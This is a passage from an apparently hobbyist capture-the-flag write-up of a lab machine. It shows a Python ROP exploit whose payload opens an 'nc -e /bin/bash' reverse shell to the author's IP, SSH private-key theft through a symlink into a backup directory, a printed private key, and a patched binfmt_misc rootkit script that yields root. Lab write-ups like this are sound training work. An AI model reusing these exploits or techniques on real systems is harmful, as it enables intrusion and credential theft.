import requests

url =  'http://10.129.125.160/index.php'
reverse_shell = 'nc -e /bin/bash 10.10.14.18 1337\0\0\0\0\0\0\0\0'
libc_binary = 'libc-2.31.so'
pid = 410

# Get the maps
params = {'page': '/proc/' + str(pid) + '/maps'}
r = requests.get(url, allow_redirects=False, params=params)

# Find LIBC and a writeable area
for line in r.text.splitlines():
    if 'activate_license' in line and 'rw' in line:
        writeable_address = int(line.split('-')[0], 16)
    if 'libc' in line and '00000000' in line:
        libc_address = int(line.split('-')[0], 16)


# Create a ROP chain
context.clear(arch='amd64')

libc = ELF(libc_binary)
libc.address = libc_address
rop = ROP(libc)

for i in range(0, len(reverse_shell), 8):
    c = bytes(reverse_shell[i:i+8],'ascii')
    rop(rdx= c )
    rop(rax=writeable_address + i)
    rop.raw(p64(libc_address + 0x00000000000343c7))
rop.call('system', [writeable_address])    

payload = cyclic(520) + rop.chain()

f = open('payload', 'wb')
f.write(payload)
f.close()

files = {'licensefile': open('payload','rb')}

url = 'http://10.129.125.160/activate_license.php'
r = requests.post(url, files=files)

There’s a good function in pwntools ROP called dump(). If you want to inspect your gadgets you can use it and it will look like this.

0x0000:   0x7fcc99c541cd pop rdx; ret
0x0008:      b'nc -e /b' b'nc -e /b'
0x0010:   0x7fcc99bc7e88 pop rax; ret
0x0018:   0x559d398ef000
0x0020: b'\xc7\xd3\xbb\x99\xcc\x7f\x00\x00' b'\xc7\xd3\xbb\x99\xcc\x7f\x00\x00'
0x0028:   0x7fcc99c541cd pop rdx; ret
0x0030:      b'in/bash ' b'in/bash '
0x0038:   0x7fcc99bc7e88 pop rax; ret
0x0040:   0x559d398ef008
0x0048: b'\xc7\xd3\xbb\x99\xcc\x7f\x00\x00' b'\xc7\xd3\xbb\x99\xcc\x7f\x00\x00'
0x0050:   0x7fcc99c541cd pop rdx; ret
0x0058:      b'10.10.14' b'10.10.14'
0x0060:   0x7fcc99bc7e88 pop rax; ret
0x0068:   0x559d398ef010
0x0070: b'\xc7\xd3\xbb\x99\xcc\x7f\x00\x00' b'\xc7\xd3\xbb\x99\xcc\x7f\x00\x00'
0x0078:   0x7fcc99c541cd pop rdx; ret
0x0080:      b'.18 1337' b'.18 1337'
0x0088:   0x7fcc99bc7e88 pop rax; ret
0x0090:   0x559d398ef018
0x0098: b'\xc7\xd3\xbb\x99\xcc\x7f\x00\x00' b'\xc7\xd3\xbb\x99\xcc\x7f\x00\x00'
0x00a0:   0x7fcc99c541cd pop rdx; ret
0x00a8: b'\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00'
0x00b0:   0x7fcc99bc7e88 pop rax; ret
0x00b8:   0x559d398ef020
0x00c0: b'\xc7\xd3\xbb\x99\xcc\x7f\x00\x00' b'\xc7\xd3\xbb\x99\xcc\x7f\x00\x00'
0x00c8:   0x7fcc99baf796 pop rdi; ret
0x00d0:   0x559d398ef000 [arg0] rdi = 94133763895296
0x00d8:   0x7fcc99bd1e50 system

This dump makes it easy to follow the order of things, inspect addresses and instruction.

I guess I should try this in the real world. Ofcourse I did try it locally staraight up against the 1337 port before writing that last requests part but we can pretend that I tried it and it worked at once. Let’s start a listener:

[~/Desktop/retired]$ nc -lvnp 1337
listening on [any] 1337 ...

Time to execute the goodness.

[~/Desktop/retired]$ python3 exploit.py 
[*] '/home/f1rstr3am/Desktop/retired/libc-2.31.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loading gadgets for '/home/f1rstr3am/Desktop/retired/libc-2.31.so'

And when we get back to the listener…

[~/Desktop/retired]$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.18] from (UNKNOWN) [10.129.125.160] 38734
whoami
www-data

Praise the dark one we have gained access. But we are www-data, does that mean that after all this time we now need to hack a user too?

ls /home
dev
ls -la /home/dev

Yes it looks like that. Nothing is shown as output from the ls command so I guess www-data does not have permissions to the dev users stuff. That makes sense. Time to start moving.

Lateral movement

First of all let’s see what we got at ur homebase.

ls
2022-04-12_14-13-01-html.zip
2022-04-12_14-14-01-html.zip
2022-04-12_14-15-05-html.zip
html
license.sqlite

That’s interesting. Looks like backups of the complete web catalog is put here by someone. I wonders if they keep coming if I wait for a while.

ls
2022-04-12_14-18-07-html.zip
2022-04-12_14-19-05-html.zip
2022-04-12_14-20-01-html.zip
html
license.sqlite

Yes there’s a new one every minute it seems. Can we find out who is running tha operation?

s -la
total 1520
drwxrwsrwx  3 www-data www-data   4096 Apr 12 18:50 .
drwxr-xr-x 12 root     root       4096 Mar 11 14:36 ..
-rw-r--r--  1 dev      www-data 505153 Apr 12 18:48 2022-04-12_18-48-09-html.zip
-rw-r--r--  1 dev      www-data 505153 Apr 12 18:49 2022-04-12_18-49-01-html.zip
-rw-r--r--  1 dev      www-data 505153 Apr 12 18:50 2022-04-12_18-50-01-html.zip
drwxrwsrwx  5 www-data www-data   4096 Apr 12 15:05 html
-rw-r--r--  1 www-data www-data  20480 Apr 12 18:50 license.sqlite

It looks like it’s the dev user that is running the backups. At least that user is the owner. This gives me an idea.

What if i created a symbolic link from /home/dev/.ssh/id_rsa to a id_rsa inside the html directory. Maybe I can steal the dev users private key and gain ssh access that way. Let’s try.

ln -s /home/dev/.ssh/id_rsa /var/www/html/id_rsa

Check what files are there:

ls
2022-04-12_15-02-07-html.zip
2022-04-12_15-03-05-html.zip
2022-04-12_15-04-07-html.zip
html
license.sqlite

Wait a while and check again.

ls
2022-04-12_15-02-07-html.zip
2022-04-12_15-03-05-html.zip
2022-04-12_15-04-07-html.zip
2022-04-12_15-05-01-html.zip
html
license.sqlite

There´s a new file! Let’s see whats inside.

unzip -l 2022-04-12_15-05-01-html.zip
Archive:  2022-04-12_15-05-01-html.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
        0  2022-04-12 15:04   var/www/html/
        0  2022-03-11 14:36   var/www/html/js/
     1636  2021-10-13 02:59   var/www/html/js/scripts.js
      585  2021-10-13 02:58   var/www/html/activate_license.php
        0  2022-03-11 14:36   var/www/html/assets/
    23462  2021-10-13 02:59   var/www/html/assets/favicon.ico
        0  2022-03-11 14:36   var/www/html/assets/img/
      333  2021-10-13 02:59   var/www/html/assets/img/close-icon.svg
    14220  2021-10-13 02:59   var/www/html/assets/img/navbar-logo.svg
        0  2022-03-11 14:36   var/www/html/assets/img/about/
    10187  2021-10-13 02:59   var/www/html/assets/img/about/2.jpg
    16175  2021-10-13 02:59   var/www/html/assets/img/about/4.jpg
    18029  2021-10-13 02:59   var/www/html/assets/img/about/3.jpg
    19668  2021-10-13 02:59   var/www/html/assets/img/about/1.jpg
        0  2022-03-11 14:36   var/www/html/assets/img/logos/
     3223  2021-10-13 02:59   var/www/html/assets/img/logos/facebook.svg
     4137  2021-10-13 02:59   var/www/html/assets/img/logos/microsoft.svg
     3282  2021-10-13 02:59   var/www/html/assets/img/logos/google.svg
     2284  2021-10-13 02:59   var/www/html/assets/img/logos/ibm.svg
        0  2022-03-11 14:36   var/www/html/assets/img/team/
    61067  2021-10-13 02:59   var/www/html/assets/img/team/2.jpg
    57725  2021-10-13 02:59   var/www/html/assets/img/team/3.jpg
    40338  2021-10-13 02:59   var/www/html/assets/img/team/1.jpg
   238317  2021-10-13 02:59   var/www/html/assets/img/header-bg.jpg
     4144  2022-03-11 11:34   var/www/html/beta.html
    11414  2021-10-13 02:58   var/www/html/default.html
      348  2022-03-11 11:29   var/www/html/index.php
     2590  2022-03-11 11:12   var/www/html/id_rsa
        0  2022-03-11 14:36   var/www/html/css/
   219875  2021-10-13 02:59   var/www/html/css/styles.css
---------                     -------
   753039                     30 files

YES, YES, YES there is an id_rsa there. I copy the zip to /tmp for further examination.

cp 2022-04-12_15-05-01-html.zip /tmp

Time to unzip it and inspect the candy!

unzip 2022-04-12_15-05-01-html.zip
Archive:  2022-04-12_15-05-01-html.zip
   creating: var/www/html/
   creating: var/www/html/js/
  inflating: var/www/html/js/scripts.js  
  inflating: var/www/html/activate_license.php  
   creating: var/www/html/assets/
  inflating: var/www/html/assets/favicon.ico  
   creating: var/www/html/assets/img/
  inflating: var/www/html/assets/img/close-icon.svg  
  inflating: var/www/html/assets/img/navbar-logo.svg  
   creating: var/www/html/assets/img/about/
  inflating: var/www/html/assets/img/about/2.jpg  
  inflating: var/www/html/assets/img/about/4.jpg  
  inflating: var/www/html/assets/img/about/3.jpg  
  inflating: var/www/html/assets/img/about/1.jpg  
   creating: var/www/html/assets/img/logos/
  inflating: var/www/html/assets/img/logos/facebook.svg  
  inflating: var/www/html/assets/img/logos/microsoft.svg  
  inflating: var/www/html/assets/img/logos/google.svg  
  inflating: var/www/html/assets/img/logos/ibm.svg  
   creating: var/www/html/assets/img/team/
  inflating: var/www/html/assets/img/team/2.jpg  
  inflating: var/www/html/assets/img/team/3.jpg  
  inflating: var/www/html/assets/img/team/1.jpg  
  inflating: var/www/html/assets/img/header-bg.jpg  
  inflating: var/www/html/beta.html  
  inflating: var/www/html/default.html  
  inflating: var/www/html/index.php  
  inflating: var/www/html/id_rsa     
   creating: var/www/html/css/
  inflating: var/www/html/css/styles.css  
cd var
cd www
cd html 
ls
activate_license.php
assets
beta.html
css
default.html
id_rsa
index.php
js
cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
7rTyG3wbNka1sAAAALZGV2QHJldGlyZWQ=
-----END OPENSSH PRIVATE KEY-----

NICE!!! Let’s try to login as dev using that private key i cut and paste it into a file called id_rsa.

[~/Desktop/retired]$ chmod 600 id_rsa
[~/Desktop/retired]$ ssh -i id_rsa [email protected]
Linux retired 5.10.0-11-amd64 #1 SMP Debian 5.10.92-2 (2022-02-28) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Apr 12 15:00:19 2022 from 10.10.14.18
dev@retired:~$ ls
activate_license  emuemu  user.txt
dev@retired:~$ cat user.txt
bdd91228930fa066f906ef0ed7fef845
dev@retired:~$ 

BOOM! Finally we have a user and a good steady foothold. Time to enter the kingdom.

Privilege escalation to root

First of all let’s see what’s available right in our home directory.

dev@retired:~$ cd emuemu/
dev@retired:~/emuemu$ ls
Makefile  README.md  emuemu  emuemu.c  reg_helper  reg_helper.c  test

There are some .c files some executeable (obviouslyafter comiling the .c files) and there is a Makefile that I decide to take a closer look at.

CC := gcc
CFLAGS := -std=c99 -Wall -Werror -Wextra -Wpedantic -Wconversion -Wsign-conversion

SOURCES := $(wildcard *.c)
TARGETS := $(SOURCES:.c=)

.PHONY: install clean

install: $(TARGETS)
        @echo "[+] Installing program files"
        install --mode 0755 emuemu /usr/bin/
        mkdir --parent --mode 0755 /usr/lib/emuemu /usr/lib/binfmt.d
        install --mode 0750 --group dev reg_helper /usr/lib/emuemu/
        setcap cap_dac_override=ep /usr/lib/emuemu/reg_helper

        @echo "[+] Register OSTRICH ROMs for execution with EMUEMU"
        echo ':EMUEMU:M::\x13\x37OSTRICH\x00ROM\x00::/usr/bin/emuemu:' \
                | tee /usr/lib/binfmt.d/emuemu.conf \
                | /usr/lib/emuemu/reg_helper

clean:
        rm -f -- $(TARGETS)

This line caught my attention:

  setcap cap_dac_override=ep /usr/lib/emuemu/reg_helper

That capability is interesting and it’s given to the reg_helper binary stored in /usr/lib/emuemu. Let’s check out the emuemu.c file.

#include <stdio.h>

/* currently this is only a dummy implementation doing nothing */

int main(void) {
    puts("EMUEMU is still under development.");
    return 1;
}

Ok thats rather boring. It prints a message end exits. What about the reg_helper?

#define _GNU_SOURCE

#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

int main(void) {
    char cmd[512] = { 0 };

    read(STDIN_FILENO, cmd, sizeof(cmd)); cmd[-1] = 0;

    int fd = open("/proc/sys/fs/binfmt_misc/register", O_WRONLY);
    if (-1 == fd)
        perror("open");
    if (write(fd, cmd, strnlen(cmd,sizeof(cmd))) == -1)
        perror("write");
    if (close(fd) == -1)
        perror("close");

    return 0;
}

reg_helper reads from stdio and writes to a mystic place under /proc (/proc/sys/fs/binfmt_misc/register). Googling this makes you understand that you need that capability that we saw to write to /proc/sys/fs/binfmt_misc/register.

By writing there you can register new executable format. You need to use a specific format that we could se in the Makefile.

echo ':EMUEMU:M::\x13\x37OSTRICH\x00ROM\x00::/usr/bin/emuemu:' \

I found this on wikipedia:

binfmt_misc (Miscellaneous Binary Format) is a capability of the Linux kernel which allows arbitrary executable file formats to be recognized and passed to certain user space applications, such as emulators and virtual machines.[1] It is one of a number of binary format handlers in the kernel that are involved in preparing a user-space program to run.

The executable formats are registered through the special purpose file system binfmt_misc file-system interface (usually mounted under part of /proc). This is either done directly by sending special sequences to the register procfs file or using a wrapper like Debian-based distributions binfmt-support package or systemd’s systemd-binfmt.service.

From what I could see there was already that OSTRICH format registred so lets see if we can find an emulator file that should start the emuemu.c program.

dev@retired:~/emuemu$ cd test
dev@retired:~/emuemu/test$ ls
examplerom
dev@retired:~/emuemu/test$ cat examplerom 
7OSTRICHROM
this is a minimal rom with a valid file type signature

That 7OSTRICHROM looks pretty much like that magic number in the Makefile. So we should be able to execute examplerom even though it’s not an elf file or a script and the emuemu that only prints a message should be called.

dev@retired:~/emuemu/test$ ./examplerom 
EMUEMU is still under development.

That worked out pretty much as expected. At this time I figured that since that binary you tell it to use is run by the kernel perhaps you could point to /bin/bash and get root that way. It did not work out well. I tried compiling my own evil.c that spawned a shell but no luck.

Instead of diging deeper I did what I should have done from the start. I googled and found this:

https://github.com/toffan/binfmt_misc

In the description it says:

Poor man’s rootkit, leverage binfmt_misc’s credentials option to escalate privilege through any suid binary (and to get a root shell) if /proc/sys/fs/binfmt_misc/register is writeable.

I did actually not understand how this works but decided to learn that another day and just try the stuff. I download the thing from github and then upload it to the target.

[~/Desktop/retired]$ curl https://raw.githubusercontent.com/toffan/binfmt_misc/master/binfmt_rootkit --output binfmt_rootkit
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2048  100  2048    0     0   6118      0 --:--:-- --:--:-- --:--:--  6113
[~/Desktop/retired]$ scp -i binfmt_rootkit [email protected]:/tmp/. 
usage: scp [-346ABCOpqRrsTv] [-c cipher] [-D sftp_server_path] [-F ssh_config]
           [-i identity_file] [-J destination] [-l limit]
           [-o ssh_option] [-P port] [-S program] source ... target
[~/Desktop/retired]$ scp -i binfmt_rootkit [email protected]:/tmp/.
usage: scp [-346ABCOpqRrsTv] [-c cipher] [-D sftp_server_path] [-F ssh_config]
           [-i identity_file] [-J destination] [-l limit]
           [-o ssh_option] [-P port] [-S program] source ... target
[~/Desktop/retired]$ scp -i id_rsa binfmt_rootkit [email protected]:/tmp/.
binfmt_rootkit   

Now is time for some inspection. This is what the bash script looks like.

#!/bin/bash

readonly searchsuid="/bin/"
readonly mountpoint="/proc/sys/fs/binfmt_misc"
readonly exe="$0"


warn()
{
    1>&2 echo $@
}

die()
{
    warn $@
    exit -1
}

usage()
{
    cat 1>&2 <<EOF
Usage: $exe
    Gives you a root shell if /proc/sys/fs/binfmt_misc/register is writeable,
    note that it must be enforced by any other mean before your try this, for
    example by typing something like "sudo chmod +6 /*/*/f*/*/*r" while Dave is
    thinking that you are fixing his problem.
EOF
    exit 1
}

function not_writeable()
{
        test ! -w "$mountpoint/register"
}

function pick_suid()
{
        find "$1" -perm -4000 -executable \
            | tail -n 1
}

function read_magic()
{
    [[ -e "$1" ]] && \
    [[ "$2" =~ [[:digit:]]+ ]] && \
    dd if="$1" bs=1 count="$2" status=none \
        | sed -e 's-\x00-\\x00-g'
}

[[ -n "$1" ]] && usage

not_writeable && die "Error: $mountpoint/register is not writeable"

target="$(pick_suid "$searchsuid")"
test -e "$target" || die "Error: Unable to find a suid binary in $searchsuid"

binfmt_magic="$(read_magic "$target" "126")"
test -z "$binfmt_magic" && die "Error: Unable to retrieve a magic for $target"

fmtname="$(mktemp -u XXXX)"
fmtinterpr="$(mktemp)"

gcc -o "$fmtinterpr" -xc - <<- __EOF__
        #include <stdlib.h>
        #include <unistd.h>
        #include <stdio.h>
        #include <pwd.h>

        int main(int argc, char *argv[])
        {
                // remove our temporary file
                unlink("$fmtinterpr");

                // remove the unused binary format
                FILE* fmt = fopen("$mountpoint/$fmtname", "w");
                fprintf(fmt, "-1\\n");
                fclose(fmt);

                // MOTD
                setuid(0);
                uid_t uid = getuid();
                uid_t euid = geteuid();
                struct passwd *pw = getpwuid(uid);
                struct passwd *epw = getpwuid(euid);
                fprintf(stderr, "uid=%u(%s) euid=%u(%s)\\n",
                        uid,
                        pw->pw_name,
                        euid,
                        epw->pw_name);

                // welcome home
                char* sh[] = {"/bin/sh", (char*) 0};
                execvp(sh[0], sh);
                return 1;
        }
__EOF__

chmod a+x "$fmtinterpr"

binfmt_line="_${fmtname}_M__${binfmt_magic}__${fmtinterpr}_OC"
echo "$binfmt_line" > "$mountpoint"/register

exec "$target"

So I quickly realised that this line is no good for us:

not_writeable && die "Error: $mountpoint/register is not writeable"

We do not have permissions to write to /proc/sys/fs/binfmt_misc/register. So let’s just comment that one out. Then at the end when the writing is done we can see:

echo "$binfmt_line" > "$mountpoint"/register

This will obviously not work since I just ssaid I do not have permissions to write to that file. But the reg_helper does have that capability. So what if we change that line to:

echo "$binfmt_line" | /usr/lib/emuemu/reg_helper

I have now patched that script to work in this environment. The complete patched script looks like this:

#!/bin/bash

readonly searchsuid="/bin/"
readonly mountpoint="/proc/sys/fs/binfmt_misc"
readonly exe="$0"


warn()
{
    1>&2 echo $@
}

die()
{
    warn $@
    exit -1
}

usage()
{
    cat 1>&2 <<EOF
Usage: $exe
    Gives you a root shell if /proc/sys/fs/binfmt_misc/register is writeable,
    note that it must be enforced by any other mean before your try this, for
    example by typing something like "sudo chmod +6 /*/*/f*/*/*r" while Dave is
    thinking that you are fixing his problem.
EOF
    exit 1
}

function not_writeable()
{
        test ! -w "$mountpoint/register"
}

function pick_suid()
{
        find "$1" -perm -4000 -executable \
            | tail -n 1
}

function read_magic()
{
    [[ -e "$1" ]] && \
    [[ "$2" =~ [[:digit:]]+ ]] && \
    dd if="$1" bs=1 count="$2" status=none \
        | sed -e 's-\x00-\\x00-g'
}

[[ -n "$1" ]] && usage

#not_writeable && die "Error: $mountpoint/register is not writeable"

target="$(pick_suid "$searchsuid")"
test -e "$target" || die "Error: Unable to find a suid binary in $searchsuid"

binfmt_magic="$(read_magic "$target" "126")"
test -z "$binfmt_magic" && die "Error: Unable to retrieve a magic for $target"

fmtname="$(mktemp -u XXXX)"
fmtinterpr="$(mktemp)"

gcc -o "$fmtinterpr" -xc - <<- __EOF__
        #include <stdlib.h>
        #include <unistd.h>
        #include <stdio.h>
        #include <pwd.h>

        int main(int argc, char *argv[])
        {
                // remove our temporary file
                unlink("$fmtinterpr");

                // remove the unused binary format
                FILE* fmt = fopen("$mountpoint/$fmtname", "w");
                fprintf(fmt, "-1\\n");
                fclose(fmt);

                // MOTD
                setuid(0);
                uid_t uid = getuid();
                uid_t euid = geteuid();
                struct passwd *pw = getpwuid(uid);
                struct passwd *epw = getpwuid(euid);
                fprintf(stderr, "uid=%u(%s) euid=%u(%s)\\n",
                        uid,
                        pw->pw_name,
                        euid,
                        epw->pw_name);

                // welcome home
                char* sh[] = {"/bin/sh", (char*) 0};
                execvp(sh[0], sh);
                return 1;
        }
__EOF__

chmod a+x "$fmtinterpr"

binfmt_line="_${fmtname}_M__${binfmt_magic}__${fmtinterpr}_OC"
echo "$binfmt_line" | /usr/lib/emuemu/reg_helper

exec "$target"

I think it’s about time we try our patched script and see if it works.

dev@retired:/tmp$ chmod +x binfmt_rootkit 
dev@retired:/tmp$ ./binfmt_rootkit 
uid=0(root) euid=0(root)
# cd /root
# ls
cleanup.sh  root.txt
# cat root.txt  
deadbeefdeadbeefdeadbeefdeadbeef

Aaaaaand I am Top of the hill, keeper of the keys, servant of Satan, evil hacker of lost souls…. and so on.

Summary

This is NOT a medium box. :)

Until next time, happy hacking!

/f1rstr3am

Christian

HTB THM